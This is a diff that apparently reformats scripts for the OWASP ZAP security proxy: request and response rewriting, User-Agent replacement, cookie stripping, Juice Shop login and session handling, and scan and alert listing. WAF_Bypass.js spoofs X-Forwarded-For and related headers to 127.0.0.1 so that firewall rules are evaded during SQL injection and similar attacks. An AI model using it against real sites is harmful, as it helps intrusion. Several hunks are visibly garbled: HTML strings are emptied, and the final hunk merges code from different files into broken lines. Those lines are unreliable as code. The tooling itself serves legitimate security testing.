+3,33 @@ // By setting the logic in proxyResponse(), the request will be sent to the server. function proxyRequest(msg) { - // Change this test to match whatever requests you want to fake - if (msg.getRequestHeader().getURI().toString().equals("http://localhost:8080/bodgeit/about.jsp")) { + // Change this test to match whatever requests you want to fake + if ( + msg + .getRequestHeader() + .getURI() + .toString() + .equals("http://localhost:8080/bodgeit/about.jsp") + ) { + print( + "Faking response for url " + msg.getRequestHeader().getURI().toString() + ); - print('Faking response for url ' + msg.getRequestHeader().getURI().toString()) - - msg.setResponseBody("\n" + - "

Hack

\n" + - "This is content generated by the script\n" + - ""); - msg.setResponseHeader("HTTP/1.1 200 OK\r\n" + - "Content-Type: text/html; charset=UTF-8"); - msg.getResponseHeader().setContentLength(msg.getResponseBody().length()); - } - return true + msg.setResponseBody( + '\n' + + "

Hack

\n" + + "This is content generated by the script\n" + + "" + ); + msg.setResponseHeader( + "HTTP/1.1 200 OK\r\n" + "Content-Type: text/html; charset=UTF-8" + ); + msg.getResponseHeader().setContentLength(msg.getResponseBody().length()); + } + return true; } function proxyResponse(msg) { - // Dont typically need to do anything here - return true + // Dont typically need to do anything here + return true; } diff --git a/proxy/Useragent Replace.js b/proxy/Useragent Replace.js index b87458c2..18e77283 100644 --- a/proxy/Useragent Replace.js +++ b/proxy/Useragent Replace.js @@ -1,36 +1,37 @@ // This script allows you to replace your browsers User-Agent string easily // Just edit it to use one of the example ones or replace them with one of your own -// The proxyRequest and proxyResponse functions will be called for all requests and responses made via ZAP, +// The proxyRequest and proxyResponse functions will be called for all requests and responses made via ZAP, // excluding some of the automated tools -// If they return 'false' then the corresponding request / response will be dropped. +// If they return 'false' then the corresponding request / response will be dropped. // You can use msg.setForceIntercept(true) in either method to force a break point // Note that new proxy scripts will initially be disabled -// Right click the script in the Scripts tree and select "enable" +// Right click the script in the Scripts tree and select "enable" function proxyRequest(msg) { - var ua - // Uncomment the User Agent line you want to use and leave the rest commented out + var ua; + // Uncomment the User Agent line you want to use and leave the rest commented out - // Mozilla Firefox Linux 64-bit - ua = 'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:28.0) Gecko/20100101 Firefox/28.0' + // Mozilla Firefox Linux 64-bit + ua = + "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:28.0) Gecko/20100101 Firefox/28.0"; - // Chrome 33.0 Win7 64-bit - // ua = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36' + // Chrome 33.0 Win7 64-bit + // ua = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36' - // Safari 7.0 MacOSX - // ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/7.0.2 Safari/537.74.9' + // Safari 7.0 MacOSX + // ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.74.9 (KHTML, like Gecko) Version/7.0.2 Safari/537.74.9' - // IE 11.0 Win7 64-bit - // ua = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' + // IE 11.0 Win7 64-bit + // ua = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' - msg.getRequestHeader().setHeader('User-Agent', ua) + msg.getRequestHeader().setHeader("User-Agent", ua); - return true + return true; } function proxyResponse(msg) { - // Leave the response alone - return true + // Leave the response alone + return true; } diff --git a/proxy/WAF_Bypass.js b/proxy/WAF_Bypass.js index 461ef5f0..da640cdc 100644 --- a/proxy/WAF_Bypass.js +++ b/proxy/WAF_Bypass.js @@ -3,18 +3,17 @@ // You may need to change the IP addresses for known internal ones, if not defaults may work. // This script is best used in conjunction with SQLi or other such attacks. // To leverage such bypasses in the fuzzer or active scanner consider leveraging an HttpSender script. - function proxyRequest(msg) { - msg.getRequestHeader().setHeader('X-Forward-For', "127.0.0.1") - msg.getRequestHeader().setHeader('X-Remote-IP', "127.0.0.1") - msg.getRequestHeader().setHeader('X-Originating-IP', "127.0.0.1") - msg.getRequestHeader().setHeader('X-Remote-Addr', "127.0.0.1") - msg.getRequestHeader().setHeader('X-Client-IP', "127.0.0.1") - return true + msg.getRequestHeader().setHeader("X-Forward-For", "127.0.0.1"); + msg.getRequestHeader().setHeader("X-Remote-IP", "127.0.0.1"); + msg.getRequestHeader().setHeader("X-Originating-IP", "127.0.0.1"); + msg.getRequestHeader().setHeader("X-Remote-Addr", "127.0.0.1"); + msg.getRequestHeader().setHeader("X-Client-IP", "127.0.0.1"); + return true; } function proxyResponse(msg) { - // Leave the response alone - return true + // Leave the response alone + return true; } diff --git a/proxy/dropCookiesSelectively.js b/proxy/dropCookiesSelectively.js index 4886b391..4fa5d250 100644 --- a/proxy/dropCookiesSelectively.js +++ b/proxy/dropCookiesSelectively.js @@ -1,21 +1,21 @@ //@zaproxy-proxy -var globalCookies = ['CONSENT', 'GZ', 'SID'] +var globalCookies = ["CONSENT", "GZ", "SID"]; function proxyRequest(msg) { - var cookies = msg.getRequestHeader().getHttpCookies() // This is a List - var iterator = cookies.iterator() - while (iterator.hasNext()) { - var cookie = iterator.next() // This is a HttpCookie - if (globalCookies.indexOf(cookie.name) > -1) { - iterator.remove() - print('Stripped away: ' + cookie.name) - } + var cookies = msg.getRequestHeader().getHttpCookies(); // This is a List + var iterator = cookies.iterator(); + while (iterator.hasNext()) { + var cookie = iterator.next(); // This is a HttpCookie + if (globalCookies.indexOf(cookie.name) > -1) { + iterator.remove(); + print("Stripped away: " + cookie.name); } - msg.getRequestHeader().setCookies(cookies) - return true + } + msg.getRequestHeader().setCookies(cookies); + return true; } function proxyResponse(msg) { - return true + return true; } diff --git a/selenium/FillOTPInMFA.js b/selenium/FillOTPInMFA.js index 12b92c9d..29a311b8 100644 --- a/selenium/FillOTPInMFA.js +++ b/selenium/FillOTPInMFA.js @@ -15,5 +15,7 @@ function browserLaunched(utils) { Thread.sleep(30000); //Wait for ZAP to handle the auth. wd.findElement(By.id("one-time-code")).sendKeys(OTP); //Replace the input field as per your web-app's DOM Thread.sleep(1000); - wd.executeScript("document.querySelector('[aria-label=\"Verify Code\"]').click()"); //Replace the submit label as per your web-app's DOM + wd.executeScript( + "document.querySelector('[aria-label=\"Verify Code\"]').click()" + ); //Replace the submit label as per your web-app's DOM } diff --git a/selenium/Selenium Juice Shop.js b/selenium/Selenium Juice Shop.js index 6af8a2cd..f4a5927d 100644 --- a/selenium/Selenium Juice Shop.js +++ b/selenium/Selenium Juice Shop.js @@ -3,29 +3,33 @@ // Make sure to use the version of that script in this repo rather than the one included with ZAP 2.9.0 as // it has been enhanced to support this script. -var ScriptVars = Java.type('org.zaproxy.zap.extension.script.ScriptVars'); +var ScriptVars = Java.type("org.zaproxy.zap.extension.script.ScriptVars"); //Change the jsUrl var if the instance of Juice Shop you are using is not listening on http://localhost:3000 -var jsUrl = 'http://localhost:3000'; +var jsUrl = "http://localhost:3000"; function browserLaunched(ssutils) { - var token = ScriptVars.getGlobalVar("juiceshop.token"); - if (token != null) { - logger('browserLaunched ' + ssutils.getBrowserId()); - var wd = ssutils.getWebDriver(); - var url = ssutils.waitForURL(5000); - if (url.startsWith(jsUrl)) { - logger('url: ' + url + ' setting token ' + token); - var script = 'document.cookie = \'token=' + token + '\';\n' + - 'window.localStorage.setItem(\'token\', \'' + token + '\');'; - wd.executeScript(script); - } - } else { - logger('no token defined'); - } + var token = ScriptVars.getGlobalVar("juiceshop.token"); + if (token != null) { + logger("browserLaunched " + ssutils.getBrowserId()); + var wd = ssutils.getWebDriver(); + var url = ssutils.waitForURL(5000); + if (url.startsWith(jsUrl)) { + logger("url: " + url + " setting token " + token); + var script = + "document.cookie = 'token=" + + token + + "';\n" + + "window.localStorage.setItem('token', '" + + token + + "');"; + wd.executeScript(script); + } + } else { + logger("no token defined"); + } } - // Logging with the script name is super helpful! function logger() { - print('[' + this['zap.script.name'] + '] ' + arguments[0]); + print("[" + this["zap.script.name"] + "] " + arguments[0]); } diff --git a/session/Juice Shop Session Management.js b/session/Juice Shop Session Management.js index 7c19727c..585deabf 100644 --- a/session/Juice Shop Session Management.js +++ b/session/Juice Shop Session Management.js @@ -1,6 +1,6 @@ /* * Session Management script for OWASP Juice Shop - * + * * For Authentication select: * Authentication method: JSON-based authentication * Login FORM target URL: http://localhost:3000/rest/user/login @@ -9,48 +9,50 @@ * Username Parameter: email * Password Parameter: password * Logged out regex: \Q{"user":{}}\E - * + * * Obviously update with any local changes as necessary. */ -var COOKIE_TYPE = org.parosproxy.paros.network.HtmlParameter.Type.cookie; -var HtmlParameter = Java.type('org.parosproxy.paros.network.HtmlParameter') -var ScriptVars = Java.type('org.zaproxy.zap.extension.script.ScriptVars'); +var COOKIE_TYPE = org.parosproxy.paros.network.HtmlParameter.Type.cookie; +var HtmlParameter = Java.type("org.parosproxy.paros.network.HtmlParameter"); +var ScriptVars = Java.type("org.zaproxy.zap.extension.script.ScriptVars"); function extractWebSession(sessionWrapper) { - // parse the authentication response - var json = JSON.parse(sessionWrapper.getHttpMessage().getResponseBody().toString()); - var token = json.authentication.token; - // save the authentication token - sessionWrapper.getSession().setValue("token", token); - ScriptVars.setGlobalVar("juiceshop.token", token); + // parse the authentication response + var json = JSON.parse( + sessionWrapper.getHttpMessage().getResponseBody().toString() + ); + var token = json.authentication.token; + // save the authentication token + sessionWrapper.getSession().setValue("token", token); + ScriptVars.setGlobalVar("juiceshop.token", token); } - + function clearWebSessionIdentifiers(sessionWrapper) { - var headers = sessionWrapper.getHttpMessage().getRequestHeader(); - headers.setHeader("Authorization", null); - ScriptVars.setGlobalVar("juiceshop.token", null); + var headers = sessionWrapper.getHttpMessage().getRequestHeader(); + headers.setHeader("Authorization", null); + ScriptVars.setGlobalVar("juiceshop.token", null); } - + function processMessageToMatchSession(sessionWrapper) { - var token = sessionWrapper.getSession().getValue("token"); - if (token === null) { - print('JS mgmt script: no token'); - return; - } - var cookie = new HtmlParameter(COOKIE_TYPE, "token", token); - // add the saved authentication token as an Authentication header and a cookie - var msg = sessionWrapper.getHttpMessage(); - msg.getRequestHeader().setHeader("Authorization", "Bearer " + token); - var cookies = msg.getRequestHeader().getCookieParams(); - cookies.add(cookie); - msg.getRequestHeader().setCookieParams(cookies); + var token = sessionWrapper.getSession().getValue("token"); + if (token === null) { + print("JS mgmt script: no token"); + return; + } + var cookie = new HtmlParameter(COOKIE_TYPE, "token", token); + // add the saved authentication token as an Authentication header and a cookie + var msg = sessionWrapper.getHttpMessage(); + msg.getRequestHeader().setHeader("Authorization", "Bearer " + token); + var cookies = msg.getRequestHeader().getCookieParams(); + cookies.add(cookie); + msg.getRequestHeader().setCookieParams(cookies); } function getRequiredParamsNames() { - return []; + return []; } function getOptionalParamsNames() { - return []; + return []; } diff --git a/settings.gradle.kts b/settings.gradle.kts index 193c554c..975fc533 100644 --- a/settings.gradle.kts +++ b/settings.gradle.kts @@ -1,6 +1,6 @@ plugins { id("org.zaproxy.common.settings") version "0.2.0" - id("com.diffplug.spotless") version "6.20.0" apply false + id("com.diffplug.spotless") version "6.25.0" apply false } rootProject.name = "community-scripts" diff --git a/standalone/Active scan rule list.js b/standalone/Active scan rule list.js index 13cf966c..7c8dca20 100644 --- a/standalone/Active scan rule list.js +++ b/standalone/Active scan rule list.js @@ -1,24 +1,30 @@ // This script gives details about all of the active scan rules installed -extAscan = control.getExtensionLoader().getExtension( - org.zaproxy.zap.extension.ascan.ExtensionActiveScan.NAME); +extAscan = control + .getExtensionLoader() + .getExtension(org.zaproxy.zap.extension.ascan.ExtensionActiveScan.NAME); -plugins = extAscan.getPolicyManager().getDefaultScanPolicy().getPluginFactory().getAllPlugin().toArray(); +plugins = extAscan + .getPolicyManager() + .getDefaultScanPolicy() + .getPluginFactory() + .getAllPlugin() + .toArray(); -print('\n'); +print("\n"); -for (var i=0; i < plugins.length; i++) { +for (var i = 0; i < plugins.length; i++) { try { - print ('Plugin ID: ' + plugins[i].getId()); - print ('Name: ' + plugins[i].getName()); - print ('Desc: ' + plugins[i].getDescription()); - print ('Risk: ' + plugins[i].getRisk()); - print ('Soln: ' + plugins[i].getSolution()); - print ('Ref: ' + plugins[i].getReference()); - print ('CWE: ' + plugins[i].getCweId()); - print ('WASC: ' + plugins[i].getWascId()); - print (''); + print("Plugin ID: " + plugins[i].getId()); + print("Name: " + plugins[i].getName()); + print("Desc: " + plugins[i].getDescription()); + print("Risk: " + plugins[i].getRisk()); + print("Soln: " + plugins[i].getSolution()); + print("Ref: " + plugins[i].getReference()); + print("CWE: " + plugins[i].getCweId()); + print("WASC: " + plugins[i].getWascId()); + print(""); } catch (e) { - print (e); + print(e); } } diff --git a/standalone/Juice shop authentication by form.js b/standalone/Juice shop authentication by form.js index 6c16aae1..25a7c8b0 100644 --- a/standalone/Juice shop authentication by form.js +++ b/standalone/Juice shop authentication by form.js @@ -1,22 +1,23 @@ -// Standalone script to demonstrate logging into OWASP Juice Shop (https://owasp.org/www-project-juice-shop/) +// Standalone script to demonstrate logging into OWASP Juice Shop (https://owasp.org/www-project-juice-shop/) // via the standard login form using Firefox. // Juice Shop will need to be accessible via http://localhost:3000/ and you will need to register // a user with a name of test@test.com and a password of test123 // You can change any of the variables to match your environment if needed. -var By = Java.type('org.openqa.selenium.By'); -var Thread = Java.type('java.lang.Thread'); -var juiceshop = 'http://localhost:3000/'; -var username = 'test@test.com'; -var password = 'test123'; +var By = Java.type("org.openqa.selenium.By"); +var Thread = Java.type("java.lang.Thread"); +var juiceshop = "http://localhost:3000/"; +var username = "test@test.com"; +var password = "test123"; -var extSel = control.getExtensionLoader().getExtension( - org.zaproxy.zap.extension.selenium.ExtensionSelenium.class) +var extSel = control + .getExtensionLoader() + .getExtension(org.zaproxy.zap.extension.selenium.ExtensionSelenium.class); var wd = extSel.getWebDriverProxyingViaZAP(1, "firefox"); wd.get(juiceshop); Thread.sleep(1000); -wd.get(juiceshop + '#/login'); +wd.get(juiceshop + "#/login"); wd.findElement(By.id("email")).sendKeys(username); wd.findElement(By.id("password")).sendKeys(password); wd.findElement(By.id("loginButton")).click(); diff --git a/standalone/Juice shop authentication by google.js b/standalone/Juice shop authentication by google.js index f59e1f49..c2d75bd3 100644 --- a/standalone/Juice shop authentication by google.js +++ b/standalone/Juice shop authentication by google.js @@ -1,21 +1,22 @@ -// Standalone script to demonstrate logging into OWASP Juice Shop (https://owasp.org/www-project-juice-shop/) +// Standalone script to demonstrate logging into OWASP Juice Shop (https://owasp.org/www-project-juice-shop/) // via Google SSO using Firefox. -// Juice Shop will need to be accessible via http://localhost:3000/ and you will need to change the +// Juice Shop will need to be accessible via http://localhost:3000/ and you will need to change the // username and password to match a valid Google account. -var By = Java.type('org.openqa.selenium.By'); -var Thread = Java.type('java.lang.Thread'); -var juiceshop = 'http://localhost:3000/'; -var username = 'zap.addo.sb@gmail.com'; // Change this to an account you own -var password = 'nottherealpassword'; // Change this to the right password for your account +var By = Java.type("org.openqa.selenium.By"); +var Thread = Java.type("java.lang.Thread"); +var juiceshop = "http://localhost:3000/"; +var username = "zap.addo.sb@gmail.com"; // Change this to an account you own +var password = "nottherealpassword"; // Change this to the right password for your account -var extSel = control.getExtensionLoader().getExtension( - org.zaproxy.zap.extension.selenium.ExtensionSelenium.class) +var extSel = control + .getExtensionLoader() + .getExtension(org.zaproxy.zap.extension.selenium.ExtensionSelenium.class); var wd = extSel.getWebDriverProxyingViaZAP(1, "firefox"); wd.get(juiceshop); Thread.sleep(1000); -wd.get(juiceshop + '#/login'); +wd.get(juiceshop + "#/login"); Thread.sleep(1000); wd.findElement(By.id("loginButtonGoogle")).click(); Thread.sleep(1000); diff --git a/standalone/Loop through alerts.js b/standalone/Loop through alerts.js index 19106e01..b0a9ebcc 100644 --- a/standalone/Loop through alerts.js +++ b/standalone/Loop through alerts.js @@ -2,17 +2,18 @@ // // This is a standalone script which you can run from the Script Console -extAlert = control.getExtensionLoader().getExtension( - org.zaproxy.zap.extension.alert.ExtensionAlert.NAME) +extAlert = control + .getExtensionLoader() + .getExtension(org.zaproxy.zap.extension.alert.ExtensionAlert.NAME); if (extAlert != null) { - var Alert = org.parosproxy.paros.core.scanner.Alert - var alerts = extAlert.getAllAlerts() - for (var i = 0; i < alerts.length; i++) { - var alert = alerts[i] - print (alert.uri) - print ('\tName:\t' + alert.name) - print ('\tRisk:\t' + Alert.MSG_RISK[alert.risk]) - print ('\tConfidence:\t' + Alert.MSG_CONFIDENCE[alert.confidence]) - // For more alert properties see https://static.javadoc.io/org.zaproxy/zap/latest/org/parosproxy/paros/core/scanner/Alert.html - } -} \ No newline at end of file + var Alert = org.parosproxy.paros.core.scanner.Alert; + var alerts = extAlert.getAllAlerts(); + for (var i = 0; i < alerts.length; i++) { + var alert = alerts[i]; + print(alert.uri); + print("\tName:\t" + alert.name); + print("\tRisk:\t" + Alert.MSG_RISK[alert.risk]); + print("\tConfidence:\t" + Alert.MSG_CONFIDENCE[alert.confidence]); + // For more alert properties see https://static.javadoc.io/org.zaproxy/zap/latest/org/parosproxy/paros/core/scanner/Alert.html + } +} diff --git a/standalone/Loop through history table.js b/standalone/Loop through history table.js index 2e683637..cee2ac42 100644 --- a/standalone/Loop through history table.js +++ b/standalone/Loop through history table.js @@ -1,22 +1,21 @@ // This script loops through the history table - change it to do whatever you want to do :) // // Standalone scripts have no template. -// They are only evaluated when you run them. +// They are only evaluated when you run them. -extHist = control.getExtensionLoader().getExtension( - org.parosproxy.paros.extension.history.ExtensionHistory.NAME) +extHist = control + .getExtensionLoader() + .getExtension(org.parosproxy.paros.extension.history.ExtensionHistory.NAME); if (extHist != null) { - i=1 - lastRef=extHist.getLastHistoryId();// Get current max history reference - // Loop through the history table, printing out the history id and the URL - while (i <= lastRef) { - hr = extHist.getHistoryReference(i) - if (hr) { - url = hr.getHttpMessage().getRequestHeader().getURI().toString(); - print('Got History record id ' + hr.getHistoryId() + ' URL=' + url); - } - i++ + i = 1; + lastRef = extHist.getLastHistoryId(); // Get current max history reference + // Loop through the history table, printing out the history id and the URL + while (i <= lastRef) { + hr = extHist.getHistoryReference(i); + if (hr) { + url = hr.getHttpMessage().getRequestHeader().getURI().toString(); + print("Got History record id " + hr.getHistoryId() + " URL=" + url); } + i++; + } } - - diff --git a/standalone/SecurityCrawlMazeScore.js b/standalone/SecurityCrawlMazeScore.js index fd0f601f..f987e15c 100644 --- a/standalone/SecurityCrawlMazeScore.js +++ b/standalone/SecurityCrawlMazeScore.js @@ -6,142 +6,142 @@ // https://raw.githubusercontent.com/google/security-crawl-maze/master/blueprints/utils/resources/expected-results.json var expectedResults = [ - "/css/font-face.found", - "/headers/content-location.found", - "/headers/link.found", - "/headers/location.found", - "/headers/refresh.found", - "/html/doctype.found", - "/html/manifest.found", - "/html/body/background.found", - "/html/body/a/href.found", - "/html/body/a/ping.found", - "/html/body/audio/src.found", - "/html/body/applet/archive.found", - "/html/body/applet/codebase.found", - "/html/body/blockquote/cite.found", - "/html/body/embed/src.found", - "/html/body/form/action-get.found", - "/html/body/form/action-post.found", - "/html/body/form/button/formaction.found", - "/html/body/frameset/frame/src.found", - "/html/body/iframe/src.found", - "/html/body/iframe/srcdoc.found", - "/html/body/img/dynsrc.found", - "/html/body/img/lowsrc.found", - "/html/body/img/longdesc.found", - "/html/body/img/src-data.found", - "/html/body/img/src.found", - "/html/body/img/srcset1x.found", - "/html/body/img/srcset2x.found", - "/html/body/input/src.found", - "/html/body/isindex/action.found", - "/html/body/map/area/ping.found", - "/html/body/object/data.found", - "/html/body/object/codebase.found", - "/html/body/object/param/value.found", - "/html/body/script/src.found", - "/html/body/svg/image/xlink.found", - "/html/body/svg/script/xlink.found", - "/html/body/table/background.found", - "/html/body/table/td/background.found", - "/html/body/video/src.found", - "/html/body/video/poster.found", - "/html/head/profile.found", - "/html/head/base/href.found", - "/html/head/comment-conditional.found", - "/html/head/import/implementation.found", - "/html/head/link/href.found", - "/html/head/meta/content-csp.found", - "/html/head/meta/content-pinned-websites.found", - "/html/head/meta/content-reading-view.found", - "/html/head/meta/content-redirect.found", - "/html/misc/url/full-url.found", - "/html/misc/url/path-relative-url.found", - "/html/misc/url/protocol-relative-url.found", - "/html/misc/url/root-relative-url.found", - "/html/misc/string/dot-dot-slash-prefix.found", - "/html/misc/string/dot-slash-prefix.found", - "/html/misc/string/url-string.found", - "/html/misc/string/string-known-extension.pdf", - "/javascript/misc/comment.found", - "/javascript/misc/string-variable.found", - "/javascript/misc/string-concat-variable.found", - "/javascript/frameworks/angular/event-handler.found", - "/javascript/frameworks/angular/router-outlet.found", - "/javascript/frameworks/angularjs/ng-href.found", - "/javascript/frameworks/polymer/event-handler.found", - "/javascript/frameworks/polymer/polymer-router.found", - "/javascript/frameworks/react/route-path.found", - "/javascript/frameworks/react/index.html/search.found", - "/misc/known-files/robots.txt.found", - "/misc/known-files/sitemap.xml.found" -] + "/css/font-face.found", + "/headers/content-location.found", + "/headers/link.found", + "/headers/location.found", + "/headers/refresh.found", + "/html/doctype.found", + "/html/manifest.found", + "/html/body/background.found", + "/html/body/a/href.found", + "/html/body/a/ping.found", + "/html/body/audio/src.found", + "/html/body/applet/archive.found", + "/html/body/applet/codebase.found", + "/html/body/blockquote/cite.found", + "/html/body/embed/src.found", + "/html/body/form/action-get.found", + "/html/body/form/action-post.found", + "/html/body/form/button/formaction.found", + "/html/body/frameset/frame/src.found", + "/html/body/iframe/src.found", + "/html/body/iframe/srcdoc.found", + "/html/body/img/dynsrc.found", + "/html/body/img/lowsrc.found", + "/html/body/img/longdesc.found", + "/html/body/img/src-data.found", + "/html/body/img/src.found", + "/html/body/img/srcset1x.found", + "/html/body/img/srcset2x.found", + "/html/body/input/src.found", + "/html/body/isindex/action.found", + "/html/body/map/area/ping.found", + "/html/body/object/data.found", + "/html/body/object/codebase.found", + "/html/body/object/param/value.found", + "/html/body/script/src.found", + "/html/body/svg/image/xlink.found", + "/html/body/svg/script/xlink.found", + "/html/body/table/background.found", + "/html/body/table/td/background.found", + "/html/body/video/src.found", + "/html/body/video/poster.found", + "/html/head/profile.found", + "/html/head/base/href.found", + "/html/head/comment-conditional.found", + "/html/head/import/implementation.found", + "/html/head/link/href.found", + "/html/head/meta/content-csp.found", + "/html/head/meta/content-pinned-websites.found", + "/html/head/meta/content-reading-view.found", + "/html/head/meta/content-redirect.found", + "/html/misc/url/full-url.found", + "/html/misc/url/path-relative-url.found", + "/html/misc/url/protocol-relative-url.found", + "/html/misc/url/root-relative-url.found", + "/html/misc/string/dot-dot-slash-prefix.found", + "/html/misc/string/dot-slash-prefix.found", + "/html/misc/string/url-string.found", + "/html/misc/string/string-known-extension.pdf", + "/javascript/misc/comment.found", + "/javascript/misc/string-variable.found", + "/javascript/misc/string-concat-variable.found", + "/javascript/frameworks/angular/event-handler.found", + "/javascript/frameworks/angular/router-outlet.found", + "/javascript/frameworks/angularjs/ng-href.found", + "/javascript/frameworks/polymer/event-handler.found", + "/javascript/frameworks/polymer/polymer-router.found", + "/javascript/frameworks/react/route-path.found", + "/javascript/frameworks/react/index.html/search.found", + "/misc/known-files/robots.txt.found", + "/misc/known-files/sitemap.xml.found", +]; function findNode(scheme, path) { - var uri = new URI(scheme + '://' + target + '/test' + path, true); - var n = siteTree.findNode(uri); - if (n == null) { - // Find parent then loop through child nodes checking for the URL path - var parent = siteTree.findClosestParent(uri); - if (parent) { - for (var j = 0; j < parent.getChildCount(); j++) { - var child = parent.getChildAt(j); - if (child.getHierarchicNodeName().indexOf(path) > 0) { - n = child; - break; - } - } - } - } - return n; + var uri = new URI(scheme + "://" + target + "/test" + path, true); + var n = siteTree.findNode(uri); + if (n == null) { + // Find parent then loop through child nodes checking for the URL path + var parent = siteTree.findClosestParent(uri); + if (parent) { + for (var j = 0; j < parent.getChildCount(); j++) { + var child = parent.getChildAt(j); + if (child.getHierarchicNodeName().indexOf(path) > 0) { + n = child; + break; + } + } + } + } + return n; } -var HistoryReference = Java.type('org.parosproxy.paros.model.HistoryReference'); -var URI = Java.type('org.apache.commons.httpclient.URI'); +var HistoryReference = Java.type("org.parosproxy.paros.model.HistoryReference"); +var URI = Java.type("org.apache.commons.httpclient.URI"); var found = 0; var foundStandard = 0; var foundAjax = 0; var total = expectedResults.length; -var target = 'security-crawl-maze.app'; +var target = "security-crawl-maze.app"; var siteTree = model.getSession().getSiteTree(); -print('Security crawl Maze Results\t\t\tScheme\tStandard\tAjax'); -print('----\t\t\t\t---\t---'); +print("Security crawl Maze Results\t\t\tScheme\tStandard\tAjax"); +print("----\t\t\t\t---\t---"); for (var i in expectedResults) { - var res = expectedResults[i]; - var scheme = 'http'; - var node = findNode(scheme, res); - if (!node) { - scheme = 'https'; - node = findNode(scheme, res); - } + var res = expectedResults[i]; + var scheme = "http"; + var node = findNode(scheme, res); + if (!node) { + scheme = "https"; + node = findNode(scheme, res); + } - print(res); - var spiderResult = "FAIL"; - var ajaxResult = "FAIL"; - if (node) { - found++; - if (node.hasHistoryType(HistoryReference.TYPE_SPIDER)) { - spiderResult = "Pass"; - foundStandard++; - } - if (node.hasHistoryType(HistoryReference.TYPE_SPIDER_AJAX)) { - ajaxResult = "Pass"; - foundAjax++; - } - } else { - scheme = ''; - } - print('\t\t\t\t' + scheme + '\t' + spiderResult + '\t' + ajaxResult); + print(res); + var spiderResult = "FAIL"; + var ajaxResult = "FAIL"; + if (node) { + found++; + if (node.hasHistoryType(HistoryReference.TYPE_SPIDER)) { + spiderResult = "Pass"; + foundStandard++; + } + if (node.hasHistoryType(HistoryReference.TYPE_SPIDER_AJAX)) { + ajaxResult = "Pass"; + foundAjax++; + } + } else { + scheme = ""; + } + print("\t\t\t\t" + scheme + "\t" + spiderResult + "\t" + ajaxResult); } -print('Tests:\t' + total); -print('Total Passes:\t' + found); -print('Standard Passes: ' + foundStandard); -print('Ajax Passes: ' + foundAjax); -print('Fails:\t' + (total - found)); -print('Score:\t' + Math.round(found * 100 / total) + '%'); +print("Tests:\t" + total); +print("Total Passes:\t" + found); +print("Standard Passes: " + foundStandard); +print("Ajax Passes: " + foundAjax); +print("Fails:\t" + (total - found)); +print("Score:\t" + Math.round((found * 100) / total) + "%"); diff --git a/standalone/Traverse sites tree.js b/standalone/Traverse sites tree.js index 4fb38d81..22238c09 100644 --- a/standalone/Traverse sites tree.js +++ b/standalone/Traverse sites tree.js @@ -1,18 +1,16 @@ // This script traverses the sites tree - change it to do whatever you want to do :) // // Standalone scripts have no template. -// They are only evaluated when you run them. +// They are only evaluated when you run them. function listChildren(node, level) { - var j; - for (j=0;j 0) { - var o = body.indexOf('', o); - print("\t" + body.substr(o,e-o+3)) - o = body.indexOf('", o); + print("\t" + body.substr(o, e - o + 3)); + o = body.indexOf("